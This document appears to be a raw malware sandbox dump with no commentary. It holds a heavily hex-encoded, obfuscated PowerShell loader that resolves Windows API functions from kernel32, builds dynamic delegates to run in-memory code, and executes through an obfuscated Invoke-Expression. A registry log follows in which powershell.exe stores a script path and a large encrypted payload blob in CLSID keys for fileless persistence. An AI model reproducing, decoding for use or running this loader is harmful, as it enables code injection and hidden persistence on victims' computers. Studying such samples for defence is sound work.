32373336383631364335443341334134373635373434343635364336353637363137343635343636463732343637353645363337343639364636453530364636393645373436353732323832383733364233323230323734333732363536313734363535343638373236353631363432373239324332383642374133323230343032383542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432433542343936453734353037343732354432433542353534393645373433333332354432433542343936453734353037343732354432393238354234393645373437303734373235443239323932393245363936453736364636423635323833303243333032433234373636383337324333303243333032433330323933423533373436313732373432443533364336353635373032303244373332303238333533373339333032443238333233343334324232383339333533393242333133333332333832393239323927297c2628247073686f6d655b3136342d3136305d2b247073686f6d655b3136322d3132385d2b277827297d66756e6374696f6e207962377b706172616d282479613629202867693320273234373936443337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343633364433343344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343739364433373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373936443337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363336443334324332343739363133363239323927297c2628247073686f6d655b3132392d3132355d2b247073686f6d655b3134382d3131345d2b277827297d6263392024696a312024696a312e6c656e6774682028282835353531322d3232303531292d3135393231292920282839302d2832382d3229292966756e6374696f6e207169387b706172616d2824626c392920286f7a31202732343646373233383344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343646373233383245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343632364333393239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343646373233383245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436393632333032433234363236433339323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364637323338324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3133302d3132365d2b247073686f6d655b3137382d3134345d2b277827297d powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1236.ps1" powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\VersionIndependentProgID\ = "{1101000F-0908-130C-0005-0B09000F0612}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\LocalServer powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100E1212-0F11-0411-1308-0F0B1303060D}\VersionIndependentProgID\060D = aed9993531dfa5714af2f70a5b64c0d996c60d006198d977db8f887172348a3573e9d9a2e4a4cb0acf97e2418807201c40fb8b35a32ea7903594b9a06237a6b100bfb5b954e377779235403a5dda2a69c94f7532fa49d7f1bb0d4a5b58a5b6cbd6980e388d0756575cc0b57f5a468bd4c71256a47afa98c8e016368e2f4cda1160301541e014b509287a6adcb4234b842a88613038fa2bdcf01bf6d3c15e0e597434ec58a67095007581fc1fbbf1d676d6dab5376879db93750dc81e0247ffc145672081e6684aa4dbfea5a9dd4ed4c8942520f53b54fb6d71b02eecf8e6188851c43de2b4813c6ee7396d5a01918efdf877ef30c189ea37c7791fdaaad358f1148b8609cec8ada54438643a65fc4b23448465e5f19e4624b7ac8e8442ac3e236b64778b3656d9a9bbabb132fb855ceb1d53fb4f9eb45c4e9b10a53621a642cc6ab631323d6ed270ff3e4563acdd431f3d64c9d4b26a3aaa6674f1ce4ddbebcc4b0f550601a2892b987698e75b49921219d6cb5e1ea74f31191ddc37d1b92b8cb8e8516b851d48318fcd73186c71f15c05c256098eca0465c1b285f0acf06114c681fc25055f705127243d30f3964b6ebadc5b653653fbd6c38550cd1b6097a25060db7ceeec130ad233d7b7ec9623d12f14d557a04b0d55ab31044540983670f8caab9c1976139d4ed873e567e26d79d9a2d82ef32ce8140056acf2d46b82bf097f58e2c70e4a019c25f205f70a1ba264658b5e386c8ad86bbbd179fcae90dee8ea68f3aa60e0888198a52f77b4cb04cd3f66d9db3f24c47bd62e84de9d9a4a6943a968367517f96a83518a44e3a0947d29e9a5542ed6f8989488f987279be8761be6dcad834e8c740bb003c40989a0b7c3f550632965be4bf7d3676df4672125f1d98464c7707bca7cf00bf5616be7f9f09069c6212594ad290f17c0b3438f1d2dd4ac91afab5aabb12c84b1fcaaf0890789fad1923a8e76294a7a41a44f87a16a08cb0a3e1766d0cf371202af6bcf2b587dd461b7619d66941d21b71d189544267ad55eacd83b5b29265de8ca0569526f6f9851aa58ecfcc96e0064e049a60ad7b22f47ef192dcfea8c3cc407728ca6e79720c39a127aa7eeb8e28e45f78fbe8112ada4a672fc8df0b692a472d0bce3d0cc8560cb352f9308a3badfaba087425b75dceb209e2ead2874f00001ef68ce886616a5c785d70bf07486dc2ca1d6b510c8fc4ae49b5f14b2c58be444c435bb18eec862bd7dea6763a7239712ef31f02a1f0e62472481d2753957ac40a5b465b8bc8e02318f68bb4c6af5895190020ce5f5972b38b6bf32dd7e0aeb597353a8708f63aee3c2a068f5efcccb27e68d08a8334f458fc5495f9e424a4870bb228fac3e0f20e3f876c802adcc1af5396cb8fc90b2f79e6e0529e775c510befe7d4b418820ba3aef88f0b343de1e440f23e569344e6aae48633e9fc6f6d302ad48eca27fef0162d737514c1ac73ff848464b636cef38b1dc8c2228a2f7c1f1ec6bbd865dbb51d47c114e95c5268fc6cd85d5f163879b03b862db068e1842d9e5d59f73467441306f1f7c2a18d07aec228a4dbbd363578d78c586bd5d1918dcecaf56166ca5e10a34da561c0c6231ccb52bf1c352ed299da4af5867a6fcd68a96b1d3ec21c8e74c75c39848b660ab8fceb9a48f54d6b4fa370102cb6e1657d488e86e4530c965cb70cc439ae1e22610dceb336a4983dcecc1ed5e1cf3ae6a9116daef1ec4cb32f4b343c727b39b8e979642717ee6595065998a9915a3b6d4dd6b8279c5495eeb7c28c3e2d5f304cddfd2dd2a3ec94d0a0b1b56b286abc8a0716ad537dd949e367015a08db644cdbe1e59dd82473fa8a0245f6afcbb264fa60c825c342352100321b59bf93fd4771c796debdf1110c79f457bd80f927c5055f0e877828b995ac86d2a1b1e4aefe6ef4a31f0bb1d7d1adc883d975ea565e7fd951befbc904890951b5d21b4fd350e3613448f974bb88c619eb2c8d61f8b3de6192f5c711c67a2b0ca6bad8c1df0564d5bb6f9d8ca2a8b789e4c80cfb00e96e32686ac9f64fa5b2f14baf50af2b37ae301528e56e9ca29409e8679fdb9df3c18dae3e87a5ba9840014078db674679cdf082680722f451c86e16532cd965f965f31181592ee3d86d6d2519c35f8a339c374cf4b95893bc5f4d190b1de5e998414f47454f026b18408577094d7247e335e60f69387b80dc61a0d63d5a3f621def3fba40ea5166e59763422c03f5dc146c703be5391ef60af4c59663fb172d33fe2b9b910444491315116446290a339700e85f25a6c7bb9db8c33128dec7f970b7b8db5fd600563d5453515894033cd166edd51bffaccbb3d8a1fd05493aab4eb2269d16b8f658e9bc81f119fd82561a8df07d972671583bb2034d0243cd6815d41189b31b96ff260a2d64967270d8679a1f94de9ec015a20a229617a80fd905cc24ae8801b8539651da3f5feca7668ac16119a3147e5e164637c7870d9702530394f7abb7ad679c25602cf2bc7726c20d5ddb1bd122e495da2b8fb0ac45976a8a27d56dff2c2eca8f9c45d81998764a962973d514c95d24aacb0a1eda8aef5a16dba2b7cdac415eb363606659c0dbbbb57f98c61c5e3d1fddbf6022db2abeaa3c02e1a63c4a5c5b72a5002e5587482dda3c0e9630cf1ec0a12a5bd02bb8bc9a7fa663f7ff86077747fcceb2df616e8f727c08153162bcdac100abac87636b276b2d2fa029f5a1cfb72389ff506317781a3c3efe1a92c8cc68a4cacaa2939e551519f29b53c3d658eec1d6db4c43514dbc63db50883340c80447e6b193e32435fdd3fcf29d6fa1c827ec9a91ca6f86419a71b5db6914e67032bc62791de6b3e8aa286decad18629424cdf6d1d10c9da179a5a419bc562071864bd5f9ba447175b118c668bd3faadd6eddec78748e29456434290150862e269c02bcdde800db7b73a2677c7d6c22e8687af6565d4a20cb153a7963929f680dee0ae06eeacd0efa8ca3e413aecc9e67ce08c108516679f0fd82ebeeb91b5d97234c2147c44960afbf6316bfb7250eaf78dfda1d333e7ddb04031823e6f56967dea4eb3c46a9f36c206300139a9fdc3bb650217459ec714f095fef5d23a3eec991fab84aa4112f78fd428efa4c729cbc9d30ddeaad543afcdd9561e446a3ff447eab1bd67635839eaa4765b6dded7aae9b3f22564a8e0284c34749824272362ff7ed34ecd63e871bc6ec0a177ce153d4696a51e6d97ed86f123cfc9c6ecb49c8b22b6dda72c9329ecdcbce487cf8dab6477cf5bf7a862ff7a7d5e336bcf688718bcb1eadc90638b3edf452027b275dda1eb63b8f568bddcb419c8993ae2acdfc2dd01c44797e59bb471d0c4c50354a43d6628f32df1eacaf76155293432d44a90c2bcc77b63316b73d29269ca37a391f166ee72811b6e9a4126be0c9b9efa61310533d940736d4b65af5395a4ca6f26f926e22841a4994bdeca9f85930f0aad74edf986169e80439b3f80bf4cb69bf4c70a2e2e7f84bc3a28bca8318cb56011061e530962965d5e31de9a1c760a4b0365d0a03d867e88b8b657b17456dff563221f33233b3c14350dbd606ff5e0c68b37f044a3c68124c4e6689bf99dad434604ce94f735ea937c320912af219c72910748c7e8461567fb8c7a4d25c4538771b76ce127e152f489aa4e469d229667ee9dbe66389af4bc86ef3ab238f8220e6c6698ccc76aa156f03ddb251eb617caa53041bee22f39212120b7b97a1e1091ff511bc17c00ffb0e3973fd6bb3ad193889e946ed10742865eda700c2b557ba60066bcfe1e1b3f1eb8b9b93631f337a47c8c0c947958a82d8a333622600e33c5d9980b7dc4f8ef3f1e9f92c7f8a1544df30749206950fa01247f7bef23c00f9dba9310cb40d086080a1f804832b30a994a89af03b573b306acaf34a84aca9160087a3ea2b55838ba31a7ed82eacf6e9b3d3c6b88e24518a4499805edaf3adac8134a499cb6cc5fc49032aed43a09f3e99a985e357ac970efb4035ae9d968214decba6fe902af80d3d511abf663c9eacd949cf50359bb53aa5220d2ccf0c7db75de685bfd5d19042e606769e4ce21b811154fb370bce0a0a32608e3719184ab3e722692ce759abf5cff856bec77f59840c7285062e884f9a71356c92c4dd051d711a8178a83b8adb7ef7219049f77e92788d97953b9ecfadb0b5c7d15cee70ded8bb1288888d970be1c83b6715b1021694e986824658631cd455814b96c01228314cbad905c89872714b5c0a93046a767200d4e53d79e4a0f3e570591c4962f6880c8c0f520e636376b41b9ce5469d92645e7c21b966f935ac34084d4f87f66443eedf331066faa48c28c8b89f3e4390f0da59d4288278ef352355fd11aebf9cdf196a741a4ce95f865e7a99705730da6c0040576597e038b90bba53cc8d62afc8f5aad33f085288a52cc83b4b0d0aec769848b8564311c6cf7f1720a571af20ba7386e5b4226c0955812d9f6267e369ce3bca32dc052b0b42ec82d316545931b4f0e5a52e2768cf4dc687a05e34fdbb5abe5e80cae139815950bf661c7cbf57d25aa506b590e50e628eae9e71bdd230c8f18c33b6b8be1886a6e846d3377a9dce8bc1a93625d43981222d32d60b47b8ed48ea3b83fd05767e3b79516afe5b098df6b9e452be7e2948ea9f963a344b5024601b96f1de923c297ab90b7755bcbb796b0690dff0648dc9990d43975713cbade3c42229af786fbc9320873d20d373d63e6cf8c260c5067cd5d4a786f7663e388d59d9022ff29284b166ea2a6438fcd50333d784a2744b7f5bdd3e3f08f7af780c1dcfc92f1fbdeb62d1ee5c38a505657bf92ad5fa8c1bb229968bd5a13c39bfac7d30e737ee92612a39e6af498a57b479e411b85bd3786799fb7efd7e9aef65c844483d82b434f79b0670ba3fe695b1ea0fbdeab7860555a30db066eb4d27e5702c5d4275d9c82a19fd7fd4f311cfa3b028b8febf89ea22dda285991965800fe25775019deedc750a10bcc7b68bbad1ba6c5dc7207fc5dce3e544426ec607030ddbd39ed8319c1faacacdbc62d4d4e01e5aed0daec71c5fad8bb999e0443a41985448cd0696158866220a4cec8c9e14a0650ac10ed1eae52e7703862b21747531a19d20271e6bc7cdfe3e7cee5dfa9999ae9461463c0ef571df468fab158aacc9c99975de448c97a14d61edcc80063e47d337de4adcb441e2fe2af42cb366f9b0d3bb130fb1c0cf9fb337882d19458b593f3b0b960cbd84edf540b579b070a1898ad0b99fd49ab8f472e670ba85dc1b6f65e349f2563ef44d633f9cb17333af423c1bda1160437e46280c5e5084d9abf1938bcde2978747d6388ac99cc7f4763aeafa5ab5c6281531769f5548d67e0e49898ce5289bae0d628190737a093c2baef80027f5b939689459c42705fe15dc1ed0a2b5f56886cd04683f1b3785c00dc21a057a3dd6ea7586df7c50e5b36a3c99e00cc35f0d805b93b563399840783e240108ec9e9d70ef31bd8794ff305111a3dab127ce6f75f8a2bd6b74cd9ba8fb4ca85eebb8e2fa829dba01ea3ee61491cd2c7d8279b1a02d6a71735cd3276508c464dd930393aad62cc5f601ebea95d36ffceaa58c6ad8d117cef46b16c76150eae8e75df7b1de75cce523bf2228b25c562374b094fc53898e0df5a179bfbad632b7a69512d2a66a522d0913dd33750d725029902417ee13a2720264853d08dc0e55b5702256856eada2a49d6ed27e1b4cba50d5f3aed24d240db1f54e8ea0cfdd24c63ca838d22e5010c064e8e5a3c3499b9d7443ce5cdb5f46aaafb37b6642a872f5621bf74231644d732d4a032bc77b96897ec505f0b2e5345bef7056c207ceff9b9b0574ff521708a6873e3ae69357f6f05fcbb92c61b52098468f5eec4060a711665e535e0340a64db66a579ba613ea427aeebbe7946ca3433f443d979c727099f3f52ac4f93794b291ea5b6510a826001d564f4130ff93bae0972907a01fbc56fb8fb535276b8d58a498da216343db3231a02a12e35cb4362a9881842ab4771efcf1ff89116c5dc4a4e49a3a74ae06854dcdb696545aba3d089f04a20934c42f73f7209ce0e4c6e9c72d2e2caf29614331c559f4170664c6450212bb0b522a75f3e0cc82d1a25d1338c2f91549325747a9066457751d464a2fde4ba8fa43c7a8cebf56cfe8d3aad50ae657408559550fb8bcac3af82d8539ad2898fb271b6b34f0a203c859c314ea1ca2e854fb342aecbc629dd9643a1c02c468f614b747da7c30cf123cb981ab880261cba08fc20a1b91397fc56009beb7c6421d9ac4ce520dde05064bf217c08a578af6246c0a1706b0a717c9168f227a7e3ab7dc30e4758d6d226da0923c8976c5e4cdb46c1c1715a03f6e7eaf42676fec34e138a56fa0436687b5ac11299f506db2e5b0039534ad371f3a224f2df2f2d061e867da6bff022434cae8ee745fe24019d000187ed413788170c933bc6d4a46308e6a4079addc6fd531e074ce49dbecb82c430ddf8d61b0df0322518be9bea5c0e8b81553c08ec8fceac64512558dd2df2bd6fa62761de3c6394d7c33bd3687937a797921cac2e5f94e5fabadcdd35f0b917818f853949b296154ecf2a2927e642cfc6a62ba3cd0d2663f4ea5835744a8bacb75745b28bcb8c9deb62b8e1dd2bb440ae9a6c69cbd237f3b42adc4830cc676a1853d6ce3f63eff58d267144bbbe28b56a400db55b8ea35f6506b4f4927f2a35557a147bbd638e95a88e8c28234d489988db7a7770b7a33f664cebe5af796198553228a23ebf4d4aa5fcafcff229c30f07a1665e4d158bf5098edd6e89a9f27c7164ead823872f79a648001a042206ebd02d360bf1d2d891f3ff6d0b3c16692e75125e76efeb911caf6f704623c5039855ef4a0687da47db6533a953b79dbc5a75616fa3c792fdcfdedb09189aa3b35df6487d7f6b0fc1f39f46f3dc1c3dc50d235d64450cc2401ea90705c083962c4a3e47b2cd3b82c7eb17af1acc2ca5db5304653c3a16924ee818a0ba080c073e9c2ad0d3e9ceeb434648683e3794f9636edb7fad15b89d400fd50b11c1b5b3823cb86839eee968d2bf84ed0e5ac00d8d892903de4d232d08f74e0f8e0b1d397125619466dccc5781dda0abb49bad56f87639edddfa0e9bbb16481370ffb33990e574cd19c7030bf5f5464e9cfc1e56b2b47f56a973f035b462d17def75d351fa3ae2304e2ddaf875dbbf4defc38084dfb260b2be2b8d08946ba81df7347a16a5de2c48686a75ab24afd81af002f3c88ce2d0b8b391fae34d9f295a2542a15e8cd7b62b84079e07c0e5558ff37c0300ec8da3e4353a23337fcfa7807440b2beb31be7b2694d80e93e2cfa438baec15177a88e7273cdee0b1fc6d9b3b1608572bd3043a5da69fb37ccfa2cabf645d1cab6fe7d828823642b91905f7491a5d7c3db7b81580f7c5c732772f9f80712d2bdd5e18ba7c3cea720837829d94635c1e8a40ad3457aaad9dd2ca8509c7c1cbdd56ca0bc6e299f419331850ddef7653bbbcf6de2103008ede9a24dfb93d7841dcae857d20ca2e89ae9237fd2b7a37534c1dacab5f87edd183ce0218a69f92b8f5295dabe02e77d90aa3259308947ab0ad95e4c596ed685d89b853ba1aa4ac3654c7200732cb30de450a7a5ac003a5c7077da2a1c2433a4614ec8562782083336461934785d606a4704630bc22ee4db6831acd0649a5abb70cd8b0e6e991e0b2226774ee27b4ff721cf2fc89ff7ed6c89314ac47b3ba3851f3e71a5502186b025a9b09a728389d5fc904f613fd912ce2773ef39dd1123410814321af41080e39686c2c036588b49c76f403acbd0a8ce1a9d3c153393b74c57eeea14ad76aaa67d69a85cbc133dbb30e57d349cbbafc49e48d02a8e127c4fa412820484b2dad8c980b88b267659a20e2df1824b79735bb87b724b36c8e45692d0e1efbfc26977e4ddb701b727bcbdb63950e5118f6e8913c90cb38b40cf27954f1b275c97070afd9a0886fe66a745a69ad31434c05a5a4f578246935017c62bbde4227a146f86879fd8a9d875a906135edb1bb6abd2aa71c7c6f90ceda26c1b0c6de78f0021b26cfb9578630bb5c880b827c41f8025d52cbcc8cb53ea2b4b66d2e66e335a12153a1e1f3af30e6e61c9776be8baeaf9b61ab83cc8f91da73a7a3b04464445fdca4acece8b245e8a6d61e8313bad6b6a313b2a6847def1cafde3a261f45a9af8494879cf5a157fc9b0a416760746d19f7bf0d9ffde1757aa3ffed430f9b0a69d8d3f5f026d9f566ebcbe7fde946b30d23b4ec4e5768ac2989614b2e88af6562fbb7106f9c9e2c2ecd7b06c8277b386b8980a3a8f0707fc1cb9344073b4a9189ed271354e653fce1549e9be58a15dfb8c6bd287156f0522ed67537ebea48dab25e3c53f564aded0863c81166b26795fa2a111bc9276fafef18c8bf09e3c16406530f71a812528a5885dc0b632746cabb2ed9db9ae7f72d16c47557e9077759385571d7ef0f46530275c4b9bb5909048a77c306c4fa0683ea050668dd4d3ee451332b54c208b73dd29268bdff2382c15c54618d99a42b71359ef83b9051b5a3eab2ca611b6d0cee54141a5c8f5efb5661cb3ae064b09c3250b2e8a7ffae4ffb8ec54ea2163a986945b3abdf9f17e36a51151e4ffce7012f893a92ae3dc1f61928677e2aa9fcb3c893327452089051c41f128217213402954096a51f28510e031737bc2030751dfac0c249c0aaf8ff815021e320f47d45a24ad26b1b2cc1d43ccdbdc54f4e093d7ec1d4f79d87b34a8e67c40b26f89950795016e236f26645444854466c4643694a7ca3690b89642af9e4217cb7a4f3ce11a8739d8127ad31f81b5e2b44fb65e58d05fba408b0e84447c7a1839923a03fe8f4f119e9bd361f1af330821dd302a8accc8d58d686b4cb0a4d827d0b6cfebce96e6843557eb20daf0b87f042e657d1ecd9195a13919a3ca2978d2bb1c37aba3f20ede12f8005b7d6c3578ecbc0387cd780504f15cfe5ea82eb75e707a2f69fb665d18b97e0230b424a11b7376bad15d4326caf5d2ba9aadf86e39e3b5aa8b83c2d2bc96ff057659634d5736c32282947b41a908f98b49484ffb6cc863c3254c61c619d58ffcbe8fe6c30400bb6a3b7f9bbcc6c8085d7fbe4785d456b9b00e7f4c175f1f83e160afaf1d2c115557eff142bf98c1d7543f288a34c062fa2cf89b7075fbfa420d4391c12a827a6cf73d7372f1d9ac81841b9322a0ea063352362be1fbf66764fdcb8a5770f29745accd0ef3e1ea226a564fe88e30de37878173b35284fe7c2bc04dae3d9a3e9ed69d3dcadcb4415e3d99a664b3e0a2be3e94f789f712116a752404cc1731ca1e2ebec65926358e306463bda66e23177a73feeb3464fb9dd67863913d3d638eff6c2cf6eede3c022f5588bc20593562f2b17ca68dbda9aaed6135346925951f6ea3e4631e32182e8cf7fc8a4a52a5cf1bd77697be15206413266a65d67c00e2a1b97f3e6da5a1bfd05c08358090221b3e3b891d41ccfa526d75a1faafe1412e951a1705ffec00adf742830ba08daff2d42e82607fdd98c6d10c75cfe1f72ae61132819a89afcdc9de54df7a0aa528eedd0d88dbe68a661eaaf0b8d773a9abc3ca03cf1e23ef94759c36f86ab1192a6c0fab20c956dcc7e2b8b01e1aff7937156e89737eb9027a06b5ce77bccb315607d61b00da173ac880ab6af265f9ef966ef460db55db82aab692434c92c948db1eeaf6d4ca2a15887f3de397987bdb3185f30ee713acc35c652e4474a620cf72344a231453fa51aa3cecedb320da5adff6bb37941db37953a47097de609e3733bb151a3b2ccfcd572ae5a0bccf7a047f49f37115e12ad03dd92360531e61d606beaadf57560467481e34b5f9bf9903b5b18461baebeb208ab462f77d5fb82ea6ff2a64212b2cf4d80c6e798bc61a3cb327534c5248ed5199ff4da40ce1c6f09290025d66ac6104560991302331822c6a7009e935da7fd033545bffdaf4729a59b43d2aca4cd23212c4a88d40de0a7ce3163a162b0ae86ac316dcc413f26522435fc809cd5ca51bf6e84c89a20da19c61ee3a9c10ccecee39708079eb3569263cf1dbb51d3d88ab331c548db98856761fba4127e4fc147fce61021d6d06381d9f893b2b9cdfdcff51728ff911cc766d55df455fb11b956b38829ec5e41e28a4a0dd3564dcebb66d9b40be55b7af62a75947784a9998b84d97c447ed9e62c9979e84bcbe81b4bd7f23314b3325bbfe59e7251e238042f5f6b99a7e7d700667188dc219864e7e30425df03934d20a1612842beee5c91f022cfa8b1dac463aa2528f80e9ebedd49249c274b93ba6cc9be093ce9acc322d8150b74128afa1ce2963db2e0be6b9ff35ad2bb5c75f31b08350da912985e3e72b8b67ea3a940533d81961dcba657c99688c3909705e38a4f3b2962043325bc0e59992edf3b68937c97dc94f85e1c7d4302b977945d14a4fc0d63ee5574bd9b3d82dd80954f2e0493c1e4d65b2a7e49db2e02c50807d7ebf9f24dbf93f4a4305eea254f92985372f93a37928721545911dfe1b5893916f73790c050f8feb7e41f2c79346550cb90e689a64559b6d9fff25ce8bc8e52b4a53911085f9d7a60b51e9df4132a91eae74af7dde6dddc61ec2aa0c935b7182d904f2743e3ca51216d850951cf0de4fbc91a198dece75b9b0bc508aa6e2a715df3880ada49285f7b554e35c87372185ac3f059a872310b48a880c5e6523f21a0e0b4a8e245708847fc9add66fccb56997043ca618995a92d266b9b0fb5c80f6ba750f6f9eb22d889d4020d343cc4e3476f4d16903a5f21b34a48a5f34f086f134d2cf0f614997e0609b68495ac6e0aa06928e6a013f9f977409ad1907e6d93c7ee063a0d9c006ce57143a0e63cd692ff2c353e30430004553b3308496d81bdd537177237c707e3129d17a0e481b2bdc91c7ee45221956a33e362bdd2e77b6ff98fe3e2d195794ec71284bc036b3378f581901bda64595728d467e4b6ac9b3a805d1e15c3ffd8aed02497abd603572b2f472c00dfda42ad67dbf251fdf26c185b32a9b53a306af48557a065b33d1e03bd9d1d4ea4d7420b7589677f6573b1ea18734cceed3d7c04a7d4fb621814285273ac2b4b21a18f7fe07a0f4ec0036bf946a874c202b433d52bc7d7957fbaa49a6fb329c0a0dc6c642ab8c614569e4d3757ba366d06095e3bce4eddcb325eed7d9ee40ab24999c7dda08e77b859682988797aa2149cc7f1952a91814f2fae208d83291308c3fd34dcad90266873406dad15bf0e8b65e8fe9a90369b3c7774196b706779c99f0259babb2d09bde76d06710051156f2882a616ced7cc14de14424d6cb9a8d1bfdffa686c830813683f5bb9f3217730f7995cc1bd5222da2744564c10b7cc2c4c4f580e33f69726eb4f32fb7565429abcf9ced0fb583f0710406d3aaa029f27f3db4d56468b92efbb8bb2c82f766fe672a4daac78b9c9e9f45ca3554036dd23eff5425790fe2c4538ab753904689b6d99103dcdbbeb827f3e5f94b7076214b8b8bfa805595f4cc1518a2f0aab526b72622fbe0a29676b30944514334bbfe085a9b1c86b80b546b4f1a8c1b798a1b7b204456534cd4333f76e45001e351903d8ac3faaea394a58e14f122e22576018d4e80ed36a93d914b18dc2351c0d3b31a97315be1d343b7bf3cbe2d5d276356521845ef8fe753e0606a15f02da76a2b5f4c002688ee31fc3977602aa8f3cd9f8749c4f27833e53721a651fba023424ef0287dc9fff4ef89c00555afa7e28c4998157f23fcc7069fd98619789bb22621e3d4ce144381835c381092a51bd025920e13077ceeee9c9608da548618ce5eac899023d8ed494e7c5bc53d6fb56615a6933726e1a3924ef0c479bca5e53240a2bd4288885c0c1e7266a66ed471cec2190e6b1591094ff589399aea1c81cb35b9251cee8c89f79f7e211b8208741b062d6586b9ba13952a6054e29a2d713ac6392b2f1a1e23789859890876eb6add94ecbc67550340f08a143254a1a59fe6b39fc2bbb9f911b3bf23fb6746b32de07e97014089b9b8c10d7558377710190013f4387114765a0c6166f001169e86df348ebec2d5e6acb54b3bf549aa8028a4c437480fc067bfeae0403ca310a7b94b0d2aea4b6787ee74bb9a91778d7a73bb1f41c6cc5566d0ec7eac869d0b9fe5da05b183b2fc3bb3914f9dae468206496229c53cd2eb1bcd3d7aea25a0a74911cf4284c98a747ed6c2508e5e32d4a6923a8dd934bad60810bd651651afd0e62664cb2ec771462ecee489ef3335ec506e3d2b5f964ad6773bccfc552bfe65e7881297e3dbe05a3f75a2bdd332d38454333c0701c7fe74bf7877645878ca971f826a4506c8e5ee04a0aacf0d38f7017c8917f1adb1c18dc8f2677abcbe0785ed8eb05ff53e41f17242e115588228c730526448c86aca3dfdc6793a2f36c4aa7657c87883bf5459789c474dc6cd79d4f09e9ff8d84ea197c5b4623ca416be887284be029b40debfdbf3be11808319c743a4764fa3d3a8d5cb01cf18555fae9323bec550adfb14a42ff064c8ef46d98efbc188c8f96588618db093d618fb4f36d4b8f29215076f0ad95ed6f9ff1aa850e5e8e4af90a8c3c32eb437c20f468cf9a2ac0ddb9583a8b7738389480acd30eaabef08c26e0a90899deb110dbbf4ff6f373f6000f653f3b6bb0397f8ec2ef431e6133ff9aee1e18139001cd47817396ade05752e785ec0f65a86dd806c61dc8f42bdbf4b571053d8af7d45ca5b475f0462005e526f50466ac666ea79a1c5543b0ced73e6d6e86a35d74a6f398c727cb321d0dd9105afa9b5e75f560bdf90fa089bacd786dca6fb52e8ffcb36a602215916c0501149ad1362ab116145faa9e597697282230e7c545a734045e7f1a23a0511e0c65bb3898b27bdc25c7afea9f5c7c6dadc3b27afa686000ce069be0caab85ef3b9071bceda3024027d881f44cb16bff4f83eaea0832f0d9b9393a8861fd51beae58e21e2369b9a65542dd1d328fd1e82d65711a82e3265848d25fca6c808cc006a5478e6c47f5ca7dd74a4338dca53ce41e7e1de1cd55b9f4d5675a6a3e4e4250330b9e75e45b5dc23ccd985ea06682d2bd1f84373a5e189349c2722b69f8a17b1d41d4257b5a36c086dc6b203efcb8d1fd040a7b9174c4575435883a5ced7c6affa506f6e3f7481da3506336bff764607365cd6bf958cc444356d9f1d911b44ec25210e5e8c746ab82105d46121b6d6b33f7a947b8bfd66075a6a3f92d1fbc873ff194b7fef3c6e4fad0d9eaa261faa0cc4c8146820ece50c467e4f7ab6486d59625386a9ec46a471c75702989b18afe9c1144040f1827427bd22f8f171517c367ffcd815133520c580ad935d10997772674be454139bc3f8889b4e236d702f8d584e924adb9b30f9698bb4ead2e5f3f4eef6b14f2b87eb6d388e98b4952d299a065da29d0006164648b8ad0949a21906ed710999ff41a8b7f30c99072982ebff7142dbd3fa7cd9c38c5b7d785ee01778546a3acb2cc502d4705e3889a361f54fe6180917f8d96aac10d3a006d6cc364801acc084901bd48069b96c6f837f862e59394f000137c14c9fc85d81f2e4cc8e5242ef22995a8aebaac7cd28749e28bee13559ced76bc0e4fa74c1f8555498574a1e65ca903636368beb4e8ed25fa7dc9a0b3b